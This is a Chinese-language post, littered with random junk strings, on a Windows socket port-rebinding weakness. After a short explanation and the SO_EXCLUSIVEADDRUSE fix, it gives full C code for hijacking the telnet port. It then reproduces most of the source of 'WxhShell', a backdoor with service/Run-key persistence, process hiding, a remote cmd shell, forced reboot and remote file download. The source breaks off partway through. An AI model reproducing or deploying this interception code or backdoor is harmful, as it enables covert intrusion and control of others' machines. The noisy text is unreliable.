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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: tlcNGPa s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ?VR:e7|tU Rp_)LA saddr.sin_family = AF_INET; WbGN
5?9Q N_R(i3c6U! saddr.sin_addr.s_addr = htonl(INADDR_ANY); PEPf=sm G }U'?p bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); A_2oQ* EJ=ud9 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 TcOmBKps' .?)gn]# 这意味着什么?意味着可以进行如下的攻击: 6Ej.X)~'K 2dnyIgi 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ZHimS7 t>JPK_b0 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) i^hEL2S/A 9;R'Xo=y 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 vY!'@W a}[ 1*_G 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 1)hO!% N^%7 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ayrCLv aM|;3j1p 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 VRD:PVz H&!?c5 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ^~7ouA -^$`5Rk #include Eh&-b6: #include v`Yj) #include #TPS?+( #include ph>0?Z =bn DWORD WINAPI ClientThread(LPVOID lpParam); XU|>SOR@z int main() L&hv:+3N { 0F9p'_C WORD wVersionRequested; K(}g!iT)~ DWORD ret; D|D)782 WSADATA wsaData; 'J_`CS BOOL val; Qm>2,={h SOCKADDR_IN saddr; ?g9oiOhnG SOCKADDR_IN scaddr; F}c}I8Ao int err; /Suh&qw>
SOCKET s; GS+Z(,J>= SOCKET sc; 8 DPn5E#M1 int caddsize; L~{3W HANDLE mt; 1"f)\FPGe DWORD tid; @G^m+- wVersionRequested = MAKEWORD( 2, 2 ); |vtj0,[ err = WSAStartup( wVersionRequested, &wsaData ); D\^\_r): if ( err != 0 ) { PnZY%+[I printf("error!WSAStartup failed!\n"); :%>TM/E N return -1; s y>}2orj~ } A5go)~x\ saddr.sin_family = AF_INET; <lTLz$QE
T&^b~T(y //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ?,w9e| FK~*X3' saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); S!h=HE saddr.sin_port = htons(23); -8Hv3J'= if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) W~j>&PK,? { Igh=Z % printf("error!socket failed!\n"); `J%35 return -1; rIeOli:< } [oOV@GE val = TRUE; [Gc9
3PA7q //SO_REUSEADDR选项就是可以实现端口重绑定的 9k;%R5( if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) [r^WS;9n { -{ES 36 printf("error!setsockopt failed!\n"); jIck! return -1; b}!T!IP} } Yc^,Cj{OM //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 88Vl1d&b //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 LwcAF g| //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 BHt9$$Z| v+C%t!dx if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) LoW}!,| { 7M<co," ret=GetLastError(); r*UE>_3J printf("error!bind failed!\n"); _ ( $U\FW return -1; #6@4c5{2=4 } lBLL45%BIN listen(s,2); #N'bhs while(1) H18pVh { H`
h]y caddsize = sizeof(scaddr); %ZX3:2 //接受连接请求 S3^(L sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); )i<Qg.@MX if(sc!=INVALID_SOCKET) ?%*p!m { > ,x``- mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); [I,s: mn if(mt==NULL) 4VhKV JX { GYtp%<<9; printf("Thread Creat Failed!\n"); V W( +sSQ break; l:*.0Tj } {J-Ojw|Y b } -nY_.fp> CloseHandle(mt); NmTo/5s } \f'= closesocket(s); ,6aF~p;wI| WSACleanup(); ~0rvrDDg return 0; cUTG!
P\R } ;)z+dd#3 DWORD WINAPI ClientThread(LPVOID lpParam) Y+Cv9U0 { ~7:Q+ 0,, SOCKET ss = (SOCKET)lpParam; _Zus4&' SOCKET sc; L=&}s[5 unsigned char buf[4096]; w[#*f?at~ SOCKADDR_IN saddr; Wa9yyc long num; lQpl8> DWORD val; ;Qidf}: DWORD ret; 0qL.Rnt //如果是隐藏端口应用的话,可以在此处加一些判断 n$<n
Yr`X //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 F!P,%JmI< saddr.sin_family = AF_INET; t(UdV saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ne%(`XY{Q] saddr.sin_port = htons(23); Li9>RY+3 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 0~e6\7={ { Wm/0Pi printf("error!socket failed!\n"); Se>v|6 return -1; [X ]XH } p
MR4]G val = 100; g#o9[su if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 0B"_St}3D { 1V-si bE ret = GetLastError(); &.JJhX return -1;
%$=2tfR } oiQ:&$y if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) sU/vXweky" { BOv ^L?)*Z ret = GetLastError(); fvj return -1; b?:?" } Wz;@Rl|F if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) u24XuSe$ { >]kZ2gVt printf("error!socket connect failed!\n"); \zhCGDm1_ closesocket(sc); !{vZvy" closesocket(ss); NG:
f>R return -1; 9r
](/"=f } 5m\)82s while(1) fJ+4H4K { =.qPjp_Qd //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 !\\OMAf7 //如果是嗅探内容的话,可以再此处进行内容分析和记录 ,_@) IN //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 yUs/lI, Q num = recv(ss,buf,4096,0); "g5MltH if(num>0) E5Lq-
send(sc,buf,num,0); [X kWPx` else if(num==0) A-u!{F break; umt(e:3f5 num = recv(sc,buf,4096,0); $F6GCM3Cx if(num>0) 0Z{u;FI send(ss,buf,num,0); q NUd "%S else if(num==0) $g\p)- aU break; JY%l1:}G3 } E,QD6<?[ closesocket(ss); 79B+8= K closesocket(sc); % -.V6}V return 0 ; Y6a9S`o } X$eR RSW F<{k~ QV
-ZP'e^ ========================================================== SPnW8 (]-RL
A> 下边附上一个代码,,WXhSHELL [-^xw1: Wr+1e1[ ========================================================== U-D00l7C L;=LAQ6[ #include "stdafx.h" n{=Ot^
"; EmyE%$*T #include <stdio.h> [_*?~ #include <string.h> 31N5dIi, #include <windows.h> \)W Z D #include <winsock2.h> TXqtE("BDl #include <winsvc.h> eTI?Mu>C #include <urlmon.h> +ijxv oVd7ucnK #pragma comment (lib, "Ws2_32.lib") -X-sykDm #pragma comment (lib, "urlmon.lib") sIRfC<
/P z~/e\ #define MAX_USER 100 // 最大客户端连接数 Su<>UsdUC #define BUF_SOCK 200 // sock buffer <(1[n
pS&+ #define KEY_BUFF 255 // 输入 buffer xEufbFAN? I(b]V!mj: #define REBOOT 0 // 重启 m@YK8c#$ #define SHUTDOWN 1 // 关机 m14'u GC kpMo7n #define DEF_PORT 5000 // 监听端口 Yi <1z:\ u R]8ZT") #define REG_LEN 16 // 注册表键长度 EIF #define SVC_LEN 80 // NT服务名长度 !Oi':OQG 1JV-X G6 // 从dll定义API 27MwZz typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); xRZ/[1f! typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Lzx2An@R typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); u[nLrEnD typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); YR[I,j z}Um$'. = // wxhshell配置信息 N(P2Lo{JF struct WSCFG { =&m;5R
int ws_port; // 监听端口 3Te&w9K char ws_passstr[REG_LEN]; // 口令 < Yc)F.: int ws_autoins; // 安装标记, 1=yes 0=no JD9=gBN\? char ws_regname[REG_LEN]; // 注册表键名 D58RHgY[ char ws_svcname[REG_LEN]; // 服务名 Kaji&Ibd char ws_svcdisp[SVC_LEN]; // 服务显示名 )!;20Po char ws_svcdesc[SVC_LEN]; // 服务描述信息 a'O-0]g, char ws_passmsg[SVC_LEN]; // 密码输入提示信息 *77Y$X##k int ws_downexe; // 下载执行标记, 1=yes 0=no eV"Uv3 char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" h+Y>\Cxg char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ,:0!+1 Hk$do`H-=Y }; MjbgAH- `rV-,-r@ // default Wxhshell configuration QQD7NN> struct WSCFG wscfg={DEF_PORT, E`]un. "xuhuanlingzhe", Z6&bUZF$bE 1, WA.c.{w\ "Wxhshell",
j} w "Wxhshell", 5Ha(i [d "WxhShell Service", w*X(bua@ "Wrsky Windows CmdShell Service", U|aEyMU "Please Input Your Password: ", S|?P#.=GX 1, M|R\[
Zf " http://www.wrsky.com/wxhshell.exe", ;D@ F "Wxhshell.exe" +jO#?J }; PGuPw'2;[ 6XnUs1O // 消息定义模块 4}Lui9 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 3N4kW[J2i char *msg_ws_prompt="\n\r? for help\n\r#>"; "G Jhx/zt char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; ?QtM|e char *msg_ws_ext="\n\rExit."; 4\j1+&W
char *msg_ws_end="\n\rQuit."; 9t8ccr char *msg_ws_boot="\n\rReboot..."; # wyjb:Ql char *msg_ws_poff="\n\rShutdown..."; ~*`wRiUhis char *msg_ws_down="\n\rSave to ";
$QwzL/a XANJ A char *msg_ws_err="\n\rErr!"; 5C9
.h:c4y char *msg_ws_ok="\n\rOK!"; m8INgzVTC 'a$/ !~X char ExeFile[MAX_PATH]; Q |hBGH9:B int nUser = 0; %&J`mq HANDLE handles[MAX_USER]; D;OPsNQ int OsIsNt; 4tSh.qBht =6N=5JePB SERVICE_STATUS serviceStatus; bNHsjx@ SERVICE_STATUS_HANDLE hServiceStatusHandle; *z]P|_:&G 3h6,x0AG // 函数声明 8E>2
6@. int Install(void); Ga`
8oY+~ int Uninstall(void); 4C3i int DownloadFile(char *sURL, SOCKET wsh); D'Uc?2X,& int Boot(int flag); |w -s{L3@+ void HideProc(void); 9l,8:%X_ int GetOsVer(void); 2#8PM-3" int Wxhshell(SOCKET wsl); ;KG}Yr72 void TalkWithClient(void *cs); \*pS4vy5x int CmdShell(SOCKET sock); waG &3m int StartFromService(void); mS.!lkV int StartWxhshell(LPSTR lpCmdLine); .5tXwxad" ES#q/yab5 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); )=5*iWe VOID WINAPI NTServiceHandler( DWORD fdwControl ); ~se
;L k8cR`5@PK // 数据结构和表定义 Z*(OcQ- SERVICE_TABLE_ENTRY DispatchTable[] = h}}7_I9 { QRF:6bAxsL {wscfg.ws_svcname, NTServiceMain}, X.rbJyKe {NULL, NULL} G$~hAZ }; TC
;Aj|)N knWI7 // 自我安装 [TT:^F(Y int Install(void) |r4&@) { Ey_mK\' char svExeFile[MAX_PATH]; 5UQ[vHMqI HKEY key; =wa5\p/ strcpy(svExeFile,ExeFile); .SBN^fq u@zT~\ h* // 如果是win9x系统,修改注册表设为自启动 UYpln[S if(!OsIsNt) { y;hco if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ePxf.U RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $:?=A5ttuo RegCloseKey(key); oJI+c+e" if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !DKl:8mx4 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :k~ p=ko RegCloseKey(key); z7a@'+' return 0; v^ 1x} } 5jTA6s9z A } *C> N } ,- _ReL else { NE Z ]% g$8aB{) // 如果是NT以上系统,安装为系统服务 ?!bWUVC)_ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Z3iX^ if (schSCManager!=0) aIN?|Ch { m h|HEkM SC_HANDLE schService = CreateService _3gF~qr ( > 'JWW*Y! schSCManager, ?\a';@h wscfg.ws_svcname, {1GIiP-U wscfg.ws_svcdisp,
.r@'9W^8 SERVICE_ALL_ACCESS, utw@5 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 3N{
ZX{} SERVICE_AUTO_START, lpefOnO[ SERVICE_ERROR_NORMAL, td2bL4 svExeFile, _?>f9K$1 NULL, (' i_Xe NULL, Oi n:5K)4- NULL, N37#Vs NULL, oc&yz>%q NULL !|#1z}( ); om,=.,|Ld if (schService!=0) /A`Lyp# { &E!-~'|z CloseServiceHandle(schService); N_E:?Jo CloseServiceHandle(schSCManager); 7me1:}4 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ;p)fW/< strcat(svExeFile,wscfg.ws_svcname); fOO[`"'Pq if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 6j~'>w(F RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 5LxzET"P RegCloseKey(key); h}P"" return 0; t`A5wqm } vlZ?qIDe } [2ZZPY9?Q CloseServiceHandle(schSCManager); TM$`J } +JL"Z4b@R} } 3)qtz_,H/g C$EvcF%1 return 1; C)Hb= } *AN2&>Y w1|YR // 自我卸载 XAc#ywophi int Uninstall(void) ^'aMp}3iu { p\7(IhW@ HKEY key; V9kL\Ys D|!^8jHj if(!OsIsNt) { gkNvvuQXc if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { uCpk1d RegDeleteValue(key,wscfg.ws_regname); 6 {tW$q RegCloseKey(key); !/MHD if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { l=<
: RegDeleteValue(key,wscfg.ws_regname); Z"G@I= Q( RegCloseKey(key); @~<M_63 return 0; Y vjRJ } W%RjjLJ@ } ~*h` ?A0 } c)fTI,.$ else { /8w
_jjW UGJ#
"9 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); O486:tF if (schSCManager!=0) 3?GEXO&,E { I8 {2cM; SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); (""1[XURQK if (schService!=0) gyW##M@{ { O)!MWmr if(DeleteService(schService)!=0) { 9
&~Rj 9 CloseServiceHandle(schService); !&D&Gs CloseServiceHandle(schSCManager); <<P&
MObqj return 0; YS5 Pt)? } QeVM9br)m CloseServiceHandle(schService); PO[
AP%; } jz2W/EE`w CloseServiceHandle(schSCManager); ')/yBH9mR } -\!"Kz/ } z`D;8x2b w|>O!]K] return 1; ?qt>;o|Ue } @iwg`j6ol "7pd(p *C // 从指定url下载文件 }*4K]3et$ int DownloadFile(char *sURL, SOCKET wsh) iVt*N$iZ { it~>)_7*P HRESULT hr; }pa@qZXh char seps[]= "/"; m4~Co*]w char *token; FU|c[u|z char *file; FXPw 5 char myURL[MAX_PATH]; do9@6[{Sv char myFILE[MAX_PATH]; PZRm.vC)k u"\HBbBx strcpy(myURL,sURL); <5Jp2x# token=strtok(myURL,seps); daIt `} s while(token!=NULL) 47xJ(yO { F.b;O : file=token; 0FFx token=strtok(NULL,seps); ui,#AZQ#{4 } k4+F PYl(~Vac GetCurrentDirectory(MAX_PATH,myFILE); V Z[[zYe strcat(myFILE, "\\"); dD3I. ?DY strcat(myFILE, file); f_r1(o5:Y send(wsh,myFILE,strlen(myFILE),0); hgCeU+ H send(wsh,"...",3,0); ;Bo{.916 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); c_]$UM[7L if(hr==S_OK) QUp()B1 return 0; 2bS)|#v<_t else }MDu QP] return 1; O1Gd_wDC/i B1oy,' } dQR2!yHEq _'k?9eN` // 系统电源模块 sH(AsKiNKe int Boot(int flag) 1q*85[Y { |*0oz= HANDLE hToken; Cyxt EzPp TOKEN_PRIVILEGES tkp; ~l%Dcp 93yJAao9 if(OsIsNt) { s%Q
pb{ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Z<Rz}8s LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); \eE0Rnaf- tkp.PrivilegeCount = 1; <D4.kM tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; t nz
BNW8 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); B&_ 62` if(flag==REBOOT) { &E$jAqc if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) IBY3QG return 0; LMWcF'l } ~a8J"Wh else { t$8f:*6(* if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) A+3@N99HeH return 0; v9Oyboh(y } MI|DOp } g6$X { else { |C@)#.nm[ if(flag==REBOOT) { Z.$ncP0s if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ehI*cf({ return 0; 6#On .Q } 0O?B!Jr]RM else { L@w|2 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) b#R3=TQS8 return 0; Aj.TX%}`h } l}%!&V0 } {j[[E/8N!y "?V4Tl~uu return 1; ;g: TsYwM } za'Eom-<u T5&jpP`M // win9x进程隐藏模块 dC_L~ }= void HideProc(void) >fI<g8N D { ;Aiuy{< cu]2`DF HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); bV&/)eqv if ( hKernel != NULL ) m,$oV?y>j { ox] LlR K pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); too=+'<N</ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Yva^JB FreeLibrary(hKernel); gVsAz } KP[ax2!x e//28=OH return; I 6a{'c(P } qiiX49}{ "0+_P{w+ // 获取操作系统版本 |Rw0$he int GetOsVer(void) gAC} { ?C//UN; OSVERSIONINFO winfo; P49lE winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); .t4IR
=Z GetVersionEx(&winfo); aG8}R~wH& if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) }]N7CWy
return 1; tfvX0J else xIf,1g@Cq9 return 0; K5z*DYT } +,9I3Dq {7[^L1 // 客户端句柄模块 !v<r=u int Wxhshell(SOCKET wsl) F*o{dLJ) { p@/!+$^{ SOCKET wsh; ^.&uYF& struct sockaddr_in client; %YM4x!6 DWORD myID; 2[LT!TT :Sk0?WU while(nUser<MAX_USER) Xz4!#,z/ { vUR{!`14 int nSize=sizeof(client); U")~bU wsh=accept(wsl,(struct sockaddr *)&client,&nSize); mQtGE[ if(wsh==INVALID_SOCKET) return 1; ~;QO`I=0P &OK(6o2m; handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); E< "aUnI if(handles[nUser]==0) Kjc"K36{L closesocket(wsh); t8\F7F P else VZ'[\3J nUser++; Yvs)H'n= } _-x|g~pV* WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ZOK2BCoW !
pR&&uG return 0; ZwB<
{? } 3bu VU&ap kjfZ*V=- // 关闭 socket }L>}_NV\ void CloseIt(SOCKET wsh) m{x[q { q6f+tdg= closesocket(wsh); WW\u}z.QJ nUser--; !fZ\GOx ExitThread(0); [U]U *x } I!dA{INN 57* z0< // 客户端请求句柄 B^P)(Nu+ void TalkWithClient(void *cs) rS\j9@=Y4 { ZZ?0%9 )."_i64 SOCKET wsh=(SOCKET)cs; ^Wo/vm*] char pwd[SVC_LEN]; ynvU$}w ~' char cmd[KEY_BUFF]; iagl^(s char chr[1]; g&!UaJ[#9 int i,j; 9u ^PM jOa .h while (nUser < MAX_USER) { G|Rsj{2' F{0Z if(wscfg.ws_passstr) { g(B &A
P_e if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); P}29wr IZ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); K#_&}C^-jY //ZeroMemory(pwd,KEY_BUFF); t6m3lq{ i=0; KiAWr-~gJ while(i<SVC_LEN) { y^zII5|s f(:+JH<P~ // 设置超时
&a5UQ> fd_set FdRead; 6=U81 struct timeval TimeOut; r/}q=J. FD_ZERO(&FdRead); C-E~z{ FD_SET(wsh,&FdRead); C]414Ibi TimeOut.tv_sec=8; OB`(,m# TimeOut.tv_usec=0; FM;NA{ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); g = ~Y\$& if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); (-Cxv`7 SK
[1h3d if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {L~j;p_G& pwd =chr[0]; S"'0lS
if(chr[0]==0xd || chr[0]==0xa) { Swz{5 J2C pwd=0; O 7RIcU break; a?jUm. } JJ_b{ao< i++; 1/+d@s#t } i0Ejo;dB vz5x{W // 如果是非法用户,关闭 socket uP, iGA if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); (VDY]Q) } `NYu|:JK: #(swVo:+E send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); `ppyCUX send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); */c4b:s eyW8?: while(1) { @~ k4,dJ kvcDa+# ZeroMemory(cmd,KEY_BUFF); Ipro6
I pHQrjEF* // 自动支持客户端 telnet标准 cq]JD6937 j=0; \]C_ul' while(j<KEY_BUFF) { p0*qv"lA if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =mR~\R(
I cmd[j]=chr[0]; V=^B7a.;> if(chr[0]==0xa || chr[0]==0xd) { ebno:) cmd[j]=0; 6$CwH!42F break; =LXjq~p } F+o4f3N j++; .3
>"qv } WC0z'N({W n*A?>NV // 下载文件 m`i_O0T if(strstr(cmd,"http://")) { V>Dqw! send(wsh,msg_ws_down,strlen(msg_ws_down),0); YRg"{[+#]k if(DownloadFile(cmd,wsh)) b@ QCdi,u send(wsh,msg_ws_err,strlen(msg_ws_err),0); srPczVG* else tGE=!qk send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); n%|og^\0 } Q,nJz*AJ else { umT * QB
uX#bDV switch(cmd[0]) { I(<9e"1O |I[/Fl: // 帮助 O22Q
g case '?': { g(_xo\ send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); r7)qr%n break; GCf,Gfmr } GP>\3@> // 安装 'C4cS[1 case 'i': { uMx6: if(Install()) {N3&JL5\"E send(wsh,msg_ws_err,strlen(msg_ws_err),0); }y%c. else TAxu ]C$P send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xKR\w!+Z' break; N5[^W`Qf } 6k_Uq.<X // 卸载 ;NOmI+t0w& case 'r': { /4*Y#IpZ if(Uninstall()) M>E~eb/ send(wsh,msg_ws_err,strlen(msg_ws_err),0); X+1Mv else m"@o send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #x qiGK break; 3k3C\Cw } _9g-D9 // 显示 wxhshell 所在路径 8.,d`~ case 'p': { ;FQNO:NP char svExeFile[MAX_PATH]; hK,a8%KnFA strcpy(svExeFile,"\n\r"); @XJ#oxM^ strcat(svExeFile,ExeFile); #f [}a send(wsh,svExeFile,strlen(svExeFile),0); ;j.-6#n break; }DQTy.d;P } zauDwV= // 重启 EugRC case 'b': { lEgjv, send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Jz}`-fU` if(Boot(REBOOT)) -woFKAy` send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0SfW:3 else { s+~GQcj<T closesocket(wsh); Kt](| ExitThread(0); tLi91)oG } "~=-Q#xO break; eTFep^[ } [GPCd@ // 关机 N>Ih2>8t case 'd': { 76bMy4re send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); |h}4J if(Boot(SHUTDOWN)) O wuc9 send(wsh,msg_ws_err,strlen(msg_ws_err),0); (i L*1f else { 9dw*
++ closesocket(wsh); J/fnSy ExitThread(0); wZZ~!"O& } PtYG%/s break; HMC-^4\%[ } ,jEc4ih4 // 获取shell 5F+G8 case 's': { d#TA20` CmdShell(wsh); y=c={Qz@vn closesocket(wsh); 7nNNc[d*= ExitThread(0); }tw+8YWkz break; lP*n%Pn) } 63 'X#S // 退出 N2k<W?wQ case 'x': { =6qTz3t send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 76"4Q! CloseIt(wsh); iMt3h8 break; PxgJ7d } H0#=oJr$)W // 离开 (:qc[,m case 'q': { 8q%y(e send(wsh,msg_ws_end,strlen(msg_ws_end),0); Cdib{y<ji closesocket(wsh); r8@]|`j WSACleanup(); ~5`oNa exit(1); ^ZO! ( break; e*qGrg (E } u -P !2vT } t))MZw&@ } ]VxC]a2 hrtz>qN // 提示信息 R2n
2mQ < if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); hiBsksZRnk } /ZD 6pF } (bQ3:%nD QOo'Iv+EL return; ;RJ
8h
x } ZaU8eg7 #kASy 2t // shell模块句柄 ?9a%g\`?: int CmdShell(SOCKET sock) i4,p\rE0 { 3q}j"x? STARTUPINFO si; !}z'"l4i ZeroMemory(&si,sizeof(si)); VO8rd>b4 si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; dgF%&*Il]O si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Cp(2]Eb PROCESS_INFORMATION ProcessInfo; UPU$SZAIx char cmdline[]="cmd"; v8*)^-Fx CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); jZzTnmm&? return 0; @]vY[O!&; } q50F!yHC- 1*9.K' // 自身启动模式 q:/df]Ntt int StartFromService(void) Bj1%}B { X)[tb]U/Wx typedef struct
k[D_L` { /T)E&=Ds DWORD ExitStatus; l P3|h* DWORD PebBaseAddress; az6& DWORD AffinityMask; :R,M Y"( DWORD BasePriority; X}v*"`@Q ULONG UniqueProcessId; b/'c
h ULONG InheritedFromUniqueProcessId; dHUbaf:e)T } PROCESS_BASIC_INFORMATION; = 'NV3by )Xjn: PROCNTQSIP NtQueryInformationProcess; 80*hi)ux[
b$7]cE
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; w!7ApEH1 static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; >MHlrSH2 FKTF?4+\U HANDLE hProcess; kun/KY PROCESS_BASIC_INFORMATION pbi; 0cq@lT6 zHb[.ry~ HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); a)JXxst if(NULL == hInst ) return 0; g0tnt)] N
$) G8 g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); z6iKIw
